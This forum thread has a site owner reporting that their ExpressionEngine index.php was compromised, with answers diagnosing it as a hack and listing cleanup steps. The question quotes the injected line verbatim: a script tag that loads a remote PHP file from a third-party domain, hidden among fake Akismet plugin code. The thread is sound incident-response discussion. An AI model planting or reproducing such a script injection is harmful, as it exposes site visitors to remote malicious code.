0

Does anyone know or have any info on EE's index.php having Akismet plugin code in it?

I logged into one of my EE installations today and was greeted by the message:

"One or more core files have been altered: <ee/install/path>/index.php"

There is a line being injected into the bottom of my pages:

</html><script type="text/javascript" src="http://pfadfinder-fallingbostel.de/kjfdqhrp.php?id=7477523"></script>

The script line is at the bottom of a lot of Akismet code in my index.php file that I cannot seem to find in any of my other EE installations running Freeform as well.

Details: EE v.2.8.1, Freeform v.4.1.5, cPanel Hosting (WHM WHM 11.44.1 (build 18) - CENTOS 6.5 x86_64), No other no-spam software installed.

Screenshot for start and stop of Akismet code in index.php: enter image description here

2

I don't know ee add-ons which will modify index.php, so this is wrong code in any case. Only question how it was done. EE hack I can put on the last place - I can't say that ee is 100% protected, but it is happens soo rare and not like this.

Usually users lost they ftp/sftp login/pass. So change your pass. Also make sure that you have last server update. Do you have any other sites on the same server? pfadfinder-fallingbostel.de - is it your site? Some times hack can be done using other, less protected sites on the same server. Or even other sites on the same server can add this info by mistaken (once customer setup wrong path in Wordpress, targeted folder with EE on the same server).

1
  • I have removed the code from the index.php now but i thought this was so strange. I checked the logs and there was no ftp/cpanel login. Everything is set to paranoid (lock out permanently on three fails) so it wasn't brute force. – Cheyney Sep 29 '14 at 9:44
1

Absolutely without doubt a hack. I don't know for sure but I'm 99.99% certain that no add-on will change your index.php file.

Looking at what I can see from your image my guess is that this is actually targeted at Wordpress sites and trying to pass itself off as the Akismet plugin.

As Max says, it's most likely down to some other site running on the same server presenting a hole into which the attacker can get access and scour the server for index.php files to inject code.

Notify your host, noting the date and time that the file was altered. It may also be worth notifying the owner of pfadfinder-fallinghostel that their site has been compromised (the script residing there tries to redirect to another URL which, when I tested it, was unavailable).

Obviously, replace your index.php file with a clean one and check file permissions. You may also want to have a look round your site for any further additions (including within your htaccess file).

2
  • This site is running on my own VPS and although I do have two wordpress sites running they are clean so far. No other EE sites were touched and my password security is paranoid (50+ characters, changed monthly) and no users have any real access. The only thing I could think of was Freeform which I have now updated – Cheyney Sep 29 '14 at 9:45
  • pearsonified.com/2010/04/wordpress-pharma-hack.php Check the Akismet plugs-ins in both the Wordpress builds. – Peter Lewis Sep 29 '14 at 20:50

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.